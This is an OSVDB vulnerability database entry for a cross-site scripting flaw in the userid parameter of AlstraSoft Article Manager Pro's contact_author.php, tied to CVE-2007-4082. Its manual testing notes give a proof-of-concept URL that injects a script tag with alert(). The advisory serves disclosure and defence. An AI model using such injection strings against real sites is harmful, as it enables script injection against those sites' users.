AlstraSoft Article Manager Pro contact_author.php userid Variable XSS

2007-07-22T00:00:00
ID OSVDB:37088
Type osvdb
Reporter OSVDB
Modified 2007-07-22T00:00:00

Description

Manual Testing Notes

http://[target]/article/contact_author.php?userid=1%20"><script>alert()</script>

References:

Other Advisory URL: http://lostmon.blogspot.com/2007/07/alstrasoft-multiple-products-multiple.html CVE-2007-4082